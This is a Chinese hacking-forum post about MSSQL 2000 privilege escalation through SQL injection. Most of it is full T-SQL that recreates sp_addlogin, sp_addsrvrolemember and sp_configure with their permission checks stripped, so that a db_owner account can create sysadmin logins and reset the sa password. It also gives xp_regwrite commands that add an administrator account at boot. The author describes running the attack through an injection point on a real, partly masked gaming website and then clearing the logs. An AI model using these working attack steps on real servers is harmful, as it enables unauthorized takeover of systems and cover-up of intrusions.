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只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限

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牛毛

一级牛人

要不  我也改

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发表于 2008-7-28 21:54:48 | 显示全部楼层 |阅读模式 来自 陕西省西安市
有sql注射漏洞的网站,只要运用此法99%可以拿到webshell甚至系统权限(不敢

把话说满,呵呵,经本人数百次真实\"实战演习\",基本上是100%可以拿到

webshell甚至系统权限)。
记得我在《MSSQL db_owner角色注入直接获得系统权限(续)》中写过一种

利用xp_regwrite来取得系统权限的方法:xp_regwrite

'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows\\currentvers ion\\run','x

wq1','REG_SZ','net user xwq xwq /add'
xp_regwrite

'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows\\currentvers ion\\run','x

wq2','REG_SZ','net localgroup administrators xwq /add',只要让网站所在

的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不

太实用,很容易引起网管的注意,再说ddos也是违法的事(偶可是好人啊),发

动一场ddos要花费的大量的人力,物力(看你的肉鸡多少拉)。所以不太可行(

除非是你十分想要搞定的网站)。

呵呵,哆嗦拉那么多,你可能看的已经不耐烦拉,好,这就介绍我的三大

必杀技之一————万能提权。

假如一个网站存在sql注射漏洞,如果这个网站是用固定服务器sysadmin权

限的用户作的连接(呵呵,通俗点说就是sa,菜鸟可以这样认为),呵呵,想要拿

到一个webshell或者是系统权限可以说是易如反掌,轻而易举的事,据我所知,

sysadmin权限要拿到webshell或者系统权限不下10种,呵呵,可能更多吧(偶只

会10种),sysadmin怎么拿到webshell或者系统权限,我不想多说,想比大家都

已经烂熟于心拉,可是要是一个网站是db_owner权限呢?你怎么办,你怎么拿系

统权限,怎么拿webshell(没有上传漏洞和数据库备份等功能),大家可能回说

backup a shell,我记得LCX也在《MSSQL db_owner角色注入直接获得系统权限》

里说过拉\"备份得到的shell只是理论化的东东,如果一个webshell有20mb的话,

你还能用它吗?\"呵呵,要是我告诉你db_owner拿到一个webshell或者是系统权

限的方法和sysadmin权限的一样多,你回有什么反映,是不是觉得有点不可思议

,或者又是我胡说呢?(不相信的朋友,下面的内容就不要看拉)

呵呵,是不是看的心痒痒拉,迫不及待的想知道啊,好,我不在废话拉,这

就把我的三大必杀技之一————万能提升权限方法告诉大家。

在告诉大家之前,我们先做个实验

实验环境windowsxp sp1+SQL 2000 sp3,大家跟着我来step to step,首先新

建一个具有db_owner的权限的用户,这里我是xwq(就是在服务器角色里面什么都

不要选,在数据库角色里面钩上db_owner),好,现在我们打开查询分析器用xwq

连上后再里面输入sp_addlogin xuwenqiang,执行看看,出现拉什么?


服务器: 消息 2571,级别 14,状态 2,过程 sp_addlogin,行 16
用户 'xwq' 没有运行 DBCC auditevent 的权限。

服务器: 消息 15***47,级别 16,状态 1,过程 sp_addlogin,行 17
用户没有执行此操作的权限。


呵呵,出现上面的错误信息这很正常,因为只有sysadmin 和 securityadmin 固

定服务器角色的成员才可以执行 sp_addlogin,那么怎么才好让sp_addlogin为我

所用呢?我们在这里看一下sp_addlogin的代码:
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = 'master' -- UNDONE: DEFAULT

CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call

-- CHECK PERMISSIONS --
IF (not is_srvrolemember('securityadmin') = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15***47,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15***02,-1,-1,'sp_addlogin')
return (1)
end

-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(&#39;\\&#39;, @loginame) > 0)
begin
raiserror(15***06,-1,-1,@loginame)
return (1)
end

--Note: different case sa is allowed.
if (@loginame = &#39;sa&#39; or lower(@loginame) in (&#39;public&#39;))
begin
raiserror(15***05, -1 ,-1, @loginame)
return (1)
end

-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =

@loginame)
begin
raiserror(15***25,-1,-1,@loginame)
return (1)
end

-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15***10,-1,-1,@defdb)
return (1)
end

-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default

language

if @deflanguage is null
select @deflanguage = N&#39;us_english&#39;
end

-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15***19,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15***33,-1,-1)
return (1)
end

-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = &#39;skip_encryption_old&#39;
begin
select @xstatus = @xstatus | 0x800, -- old-style

encryption
@passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> &#39;skip_encryption&#39;
begin
raiserror(15***00,-1,-1,&#39;sp_addlogin&#39;)
return 1
end

-- ATTEMPT THE Insert OF THE NEW LOGIN --
Insert INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)

-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec(&#39;use master grant all to null&#39;)

-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15***98,-1,-1)
return (0) -- sp_addlogin

GO

之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行

sp_addlogin,主要是这里一段再搞鬼
-- CHECK PERMISSIONS --
IF (not is_srvrolemember(&#39;securityadmin&#39;) = 1)
begin
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
raiserror(15***47,-1,-1)
return (1)
end
ELSE
begin
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
end


只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。
好,我们先把sp_addlogin删拉

drop procedure sp_addlogin


然后再来恢复sp_addlogin


create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = &#39;master&#39; -- UNDONE: DEFAULT

CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15***02,-1,-1,&#39;sp_addlogin&#39;)
return (1)
end

-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(&#39;\\&#39;, @loginame) > 0)
begin
raiserror(15***06,-1,-1,@loginame)
return (1)
end

--Note: different case sa is allowed.
if (@loginame = &#39;sa&#39; or lower(@loginame) in (&#39;public&#39;))
begin
raiserror(15***05, -1 ,-1, @loginame)
return (1)
end

-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =

@loginame)
begin
raiserror(15***25,-1,-1,@loginame)
return (1)
end

-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15***10,-1,-1,@defdb)
return (1)
end

-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default

language

if @deflanguage is null
select @deflanguage = N&#39;us_english&#39;
end

-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15***19,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15***33,-1,-1)
return (1)
end

-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = &#39;skip_encryption_old&#39;
begin
select @xstatus = @xstatus | 0x800, -- old-style

encryption
@passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> &#39;skip_encryption&#39;
begin
raiserror(15***00,-1,-1,&#39;sp_addlogin&#39;)
return 1
end

-- ATTEMPT THE Insert OF THE NEW LOGIN --
Insert INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)

-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec(&#39;use master grant all to null&#39;)

-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15***98,-1,-1)
return (0) -- sp_addlogin

GO


这样我这个只具有db_owner权限的xwq就可以任意增加用户拉,ok,在查询分析器

里面在输入sp_addlogin xuwenqiang,执行看看,GOOD!返回已创建新登录。
我新建拉一个用户xuwenqiang,当然这个用户我可不是白建的,我要把他变成具

有最高权限的用户,在sql中具有最高权限的当然是sysadmin拉,而把一个用户变

成sysadmin只有sp_addsrvrolemember这个存储过程拉,可是只有sysadmin权限的

用户才好使用,不爽,偶要让他为我所用,呵呵,聪明的读者一定想到拉我怎么

让只具有db_owner权限的我,怎么使用sp_addsrvrolemember拉,没错,和让

sp_addlogin为我所用的方法一样,只要去掉sp_addsrvrolemember中权限限制的

一段,我们就可以任意增加sysadmin拉,我们先看看sp_addsrvrolemember的代码

:create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15***02,-1,-1,&#39;sp_addsrvrolemember&#39;)
return (1)
end

-- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
raiserror(15***02, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
raiserror(15***47,-1,-1)
return (1)
end

-- AUDIT A SUCCESSFUL SECURITY CHECK --
dbcc auditevent (108, 1, 1, @loginame, NULL, @rolename, NULL)

-- CANNOT CHANGE SA ROLES --
if @loginame = &#39;sa&#39;
begin
raiserror(15***05, -1 ,-1, @loginame)
return (1)
end

-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN &#39;sysadmin&#39; THEN 16
WHEN &#39;securityadmin&#39; THEN 32
WHEN &#39;serveradmin&#39; THEN 64
WHEN &#39;setupadmin&#39; THEN 128
WHEN &#39;processadmin&#39; THEN 256
WHEN &#39;diskadmin&#39; THEN 512
WHEN &#39;dbcreator&#39; THEN 1024
WHEN &#39;bulkadmin&#39; THEN 4096
ELSE NULL END

-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where

loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15***07,-1,-1,@loginame)
return (1)
end
end

-- Update ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()
where name = @loginame and srvid IS NULL

-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec(&#39;use master grant all to null&#39;)

raiserror(15***88,-1,-1,@loginame,@rolename)

-- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember

GO


把这一段删除 -- VALIDATE SERVER ROLE NAME, CHECKING PERMISSIONS --
select @ismem = is_srvrolemember(@rolename)
if @ismem is null
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
raiserror(15***02, -1, -1, @rolename)
return (1)
end
if @ismem = 0
begin
dbcc auditevent (108, 1, 0, @loginame, NULL, @rolename,

NULL)
raiserror(15***47,-1,-1)
return (1)
end


这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入
sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就

成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限

,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或

者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和


sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程

,利用我的万能提权必杀技,我们都可以使用。比如:sp-

configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很

多只好sysadmin权限能利用的,我们都可以让他们为我所用。

下面再举一个万能提权的例子

和我一起打造一个永远不会被杀及完美的后门

我们都知道在sql中有个被黑客称为后门的用户,那就是sa,sa 是内置的管理员

登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一

篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可

以改密码的存储过程有sp_password,可是我们必须知道要改的用户的旧密码,才

可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实

也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配

置设置。sp_configure(用于更改配置选项)的执行许可权限默认授?sysadmin

和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一

段删除,再重建,我们就好用拉。
Create PROCEDURE sp_configure --- 1996/08/14 09:43

@configname varchar(35) = NULL -- option name to configure
,@configvalue int = NULL -- new configuration value
as

set nocount on

declare
@confignum int --Num of the opt to be configured
,@configcount int --Num of options like @configname
,@show_advance int --Y/N Read&Write actions on

\"advanced\" opts

declare @fullconfigname varchar (35)
declare @prevvalue int
/*
** Determine @maxnumber based on advance option in syscurconfigs.
*/
if (select value from master.dbo.syscurconfigs where config = 518) = 1
select @show_advance = 1 -- Display advanced options
else
select @show_advance = 0 -- Don&#39;&#39;t display advanced options

/*
** Make certain that max user info. reflects any addpak upgrades.
*/
if (select high from master.dbo.spt_values where number=103 and

type=&#39;&#39;C&#39;&#39;)
<> @@max_connections

update master.dbo.spt_values
set high = @@max_connections
where number = 103
and type=&#39;&#39;C&#39;&#39;

/*
** If no option name is given, the procedure will just print out all

the
** options and their values.
*/
if @configname is NULL
begin
select name, minimum = low, maximum = high,
config_value = c.value,
run_value = master.dbo.syscurconfigs.value
from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs
where type = &#39;&#39;C&#39;&#39;
and number = c.config
and number = master.dbo.syscurconfigs.config

and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)
order by lower(name)

return (0)
end

/*
** Use @configname and try to find the right option.
** If there isn&#39;&#39;t just one, print appropriate diagnostics and return.
*/
select @configcount = count(*), @fullconfigname = min (v.name),

@prevvalue = min (c.value)
from master.dbo.spt_values v ,master.dbo.sysconfigures c
where v.name like &#39;&#39;%&#39;&#39; + @configname + &#39;&#39;%&#39;&#39; and v.type = &#39;&#39;C&#39;&#39;
and v.number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)

/*
** If no option, show the user what the options are.
*/
if @configcount = 0
begin
raiserror (15***23,-1,-1,@configname)

print &#39;&#39; &#39;&#39;
raiserror (15***56,-1,-1)

/*
** Show the user what the options are.
*/
select name, minimum = low, maximum = high,
config_value = c.value,
run_value = master.dbo.syscurconfigs.value
from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs
where type = &#39;&#39;C&#39;&#39;
and number = c.config
and number = master.dbo.syscurconfigs.config

and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)

return (1)
end

/*
** If more than one option like @configname, show the duplicates and

return.
*/
if @configcount > 1
begin
raiserror (15***24,-1,-1,@configname)
print &#39;&#39; &#39;&#39;

select duplicate_options = name
from master.dbo.spt_values,master.dbo.sysconfigures c
where name like &#39;&#39;%&#39;&#39; + @configname + &#39;&#39;%&#39;&#39;
and type = &#39;&#39;C&#39;&#39;
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)

return (1)
end
else
/* There must be exactly one, so get the full name. */
select @configname = name --,@value_in_sysconfigures = c.value
from master.dbo.spt_values,master.dbo.sysconfigures c
where name like &#39;&#39;%&#39;&#39; + @configname + &#39;&#39;%&#39;&#39; and type = &#39;&#39;C&#39;&#39;
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)

/*
** If @configvalue is NULL, just show the current state of the option.
*/
if @configvalue is null
begin

select v.name
,v.low as &#39;&#39;minimum&#39;&#39;
,v.high as &#39;&#39;maximum&#39;&#39;
,c.value as &#39;&#39;config_value&#39;&#39;
,u.value as &#39;&#39;run_value&#39;&#39;
from
master.dbo.spt_values v left outer join
master.dbo.sysconfigures c on v.number = c.config
left outer join
master.dbo.syscurconfigs u on v.number = u.config
where
v.type = &#39;&#39;C &#39;&#39;
and v.name like &#39;&#39;%&#39;&#39; + @configname + &#39;&#39;%&#39;&#39;
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)

return (0)
end

/*
** Now get the configuration number.
*/
select @confignum = number
from master.dbo.spt_values,master.dbo.sysconfigures c
where type = &#39;&#39;C&#39;&#39;
and (@configvalue between low and high or @configvalue = 0)
and name like &#39;&#39;%&#39;&#39; + @configname + &#39;&#39;%&#39;&#39;
and number = c.config
and
((c.status & 2 <> 0 and @show_advance = 1)
or
(c.status & 2 = 0)
)

/*
** If this is the number of default language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 124
begin
if not exists (select * from master.dbo.syslanguages
where langid = @configvalue)
begin
/* 0 is default language, us_english */
if @configvalue <> 0
begin
raiserror(15***27,-1,-1)
return (1)
end
end
end

/*
** If this is the number of kernel language, we want to make sure
** that the new value is a valid language id in Syslanguages.
*/
if @confignum = 132
begin
if not exists (select * from master.dbo.syslanguages
where langid = @configvalue)
begin
/* 0 is default language, us_english */
if @configvalue <> 0
begin
raiserror(15***28,-1,-1)
return (1)
end
end
end

/*
** \"user options\" should not try to set incompatible options/values.
*/
if @confignum = 1534 --\"user options\"
begin

if (@configvalue & (1024+2048) = (1024+2048)) --

ansi_null_default_on/off
begin
raiserror(15***03,-1,-1,@configvalue)
return (1)
end
end

/*
** Although the @configname is good, @configvalue wasn&#39;&#39;t in range.
*/
if @confignum is NULL
begin
raiserror(15***29,-1,-1,@configvalue,@configname)
return (1)
end

--Msg 15***02, but in 6.5 allow this inside a txn (not check @@trancount)

#12828.

/*
** Now update sysconfigures.
*/
update master.dbo.sysconfigures set value = @configvalue
where config = @confignum

/*
** Flush the procedure cache - this is to account for options which

become
** effective immediately (ie. dont need a server restart).
*/
dbcc freeproccache

raiserror(15***57,-1,-1, @fullconfigname, @prevvalue, @configvalue) with

log

return (0) -- sp_configure

GO


ok,我们再
sp_configure &#39;&#39;allow updates&#39;&#39;,1
go
RECONFIGURE WITH OVERRIDE
go

好拉这样我们才好更改sa的密码。接着update sysxlogins set

password=0x0100AB01***31E944AA50CBB30***67F53B9451B7189CA67AF19A 1FC944AA50C

BB30***67F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改

成拉11***11拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完

全删除sa这个后门》。


实例:
下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行

一次大概的验证,出于影响等诸多因素,我们称这个站点为www.**173.com。

www.**173.com这个站点在游戏上很有名气,排名在前20名(我当时测试的时候)

,在这里我不想说我怎么找到的注射点,大家还可以找找,还是满多的(整个测

试可真花费拉我不少时间,别误会,我不是说时间花在\"检测\"上,而是都放在

写程序里面拉,不写个像样点的程序,怎么让我为所欲为呢?整个攻击只有10分

钟不到)。
在找到的注射点gametype=**(郁闷,要是当时测试的时候有nbsi2,偶可能

要轻松不少),先输入drop procedure sp_addlogin,然后在IE里面输入(呵呵,

我当然是在我写的程序里面输入拉)
create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = &#39;&#39;master&#39;&#39; -- UNDONE: DEFAULT

CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15***02,-1,-1,&#39;&#39;sp_addlogin&#39;&#39;)
return (1)
end

-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(&#39;&#39;\\&#39;&#39;, @loginame) > 0)
begin
raiserror(15***06,-1,-1,@loginame)
return (1)
end

--Note: different case sa is allowed.
if (@loginame = &#39;&#39;sa&#39;&#39; or lower(@loginame) in (&#39;&#39;public&#39;&#39;))
begin
raiserror(15***05, -1 ,-1, @loginame)
return (1)
end

-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =

@loginame)
begin
raiserror(15***25,-1,-1,@loginame)
return (1)
end

-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15***10,-1,-1,@defdb)
return (1)
end

-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default

language

if @deflanguage is null
select @deflanguage = N&#39;&#39;us_english&#39;&#39;
end

-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15***19,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15***33,-1,-1)
return (1)
end

-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = &#39;&#39;skip_encryption_old&#39;&#39;
begin
select @xstatus = @xstatus | 0x800, -- old-style

encryption
@passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
end
else if @encryptopt <> &#39;&#39;skip_encryption&#39;&#39;
begin
raiserror(15***00,-1,-1,&#39;&#39;sp_addlogin&#39;&#39;)
return 1
end

-- ATTEMPT THE Insert OF THE NEW LOGIN --
Insert INTO master.dbo.sysxlogins VALUES
(NULL, @sid, @xstatus, getdate(),
getdate(), @loginame, convert(varbinary(256), @passwd),
db_id(@defdb), @deflanguage)
if @@error <> 0 -- this indicates we saw duplicate row
return (1)

-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec(&#39;&#39;use master grant all to null&#39;&#39;)

-- FINALIZATION: RETURN SUCCESS/FAILURE --
raiserror(15***98,-1,-1)
return (0) -- sp_addlogin

GO

OK,我们新建个用户exec master..sp_addlogin xwq


再drop procedure sp_addsrvrolemember,然后在IE里输入


create procedure sp_addsrvrolemember
@loginame sysname, -- login name
@rolename sysname = NULL -- server role name
as
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
declare @ret int, -- return value of sp call
@rolebit smallint,
@ismem int

-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15***02,-1,-1,&#39;&#39;sp_addsrvrolemember&#39;&#39;)
return (1)
end


-- CANNOT CHANGE SA ROLES --
if @loginame = &#39;&#39;sa&#39;&#39;
begin
raiserror(15***05, -1 ,-1, @loginame)
return (1)
end

-- OBTAIN THE BIT FOR THIS ROLE --
select @rolebit = CASE @rolename
WHEN &#39;&#39;sysadmin&#39;&#39; THEN 16
WHEN &#39;&#39;securityadmin&#39;&#39; THEN 32
WHEN &#39;&#39;serveradmin&#39;&#39; THEN 64
WHEN &#39;&#39;setupadmin&#39;&#39; THEN 128
WHEN &#39;&#39;processadmin&#39;&#39; THEN 256
WHEN &#39;&#39;diskadmin&#39;&#39; THEN 512
WHEN &#39;&#39;dbcreator&#39;&#39; THEN 1024
WHEN &#39;&#39;bulkadmin&#39;&#39; THEN 4096
ELSE NULL END

-- ADD ROW FOR NT LOGIN IF NEEDED --
if not exists(select * from master.dbo.syslogins where

loginname = @loginame)
begin
execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
if (@ret <> 0)
begin
raiserror(15***07,-1,-1,@loginame)
return (1)
end
end

-- Update ROLE MEMBERSHIP --
update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()
where name = @loginame and srvid IS NULL

-- Update PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
exec(&#39;&#39;use master grant all to null&#39;&#39;)

raiserror(15***88,-1,-1,@loginame,@rolename)

-- FINALIZATION: RETURN SUCCESS/FAILURE
return (@@error) -- sp_addsrvrolemember

GO


接着再exec master..sp_addsrvrolemember xwq,sysadmin
我们拿sql综合利用工具或者查询分析器连上看看,呵呵,成功拉,这样我们就在

www.**17***73.com的服务器上建拉一个具有最高权限的用户xwq拉,下面的事我想

大家都应该回做拉吧。呵呵,因为只是安全测试,我并没有深入下去,删拉帐号

,清除日志,闪人。

看到拉吧,我的必杀技之一——万能提权的威力拉吧,只要是给我一个注射点,

无论什么权限,我都会给你一个webshell甚至系统权限.呵呵,其实说万能的提升

权限方法的确是有点夸张拉,因为Create PROCEDURE 的权限默认授予 sysadmin

固定服务器角色成员和 db_owner 和 db_ddladmin 固定数据库角色成员,你要是

碰到Public的权限,那就不好使用拉。

不过不要以为换成public权限,就没有办法拿到webshell或者系统权限拉,恰恰相

反,据我所知public权限的用户拿到webshell甚至系统权限的方法至少也有5种。

最好的防范方法就是杜绝注射漏洞,这才是治标又治本的解决方法。(呵呵,要

是我说,最好连public的权限都不要给,可惜已经没有比public权限更低的角色

拉,没办法谁叫public也可以利用很多有危险的存储过程呢,而且public无法除

去,看来M$对我们这些\"坏人\"还是很厚爱的哦)
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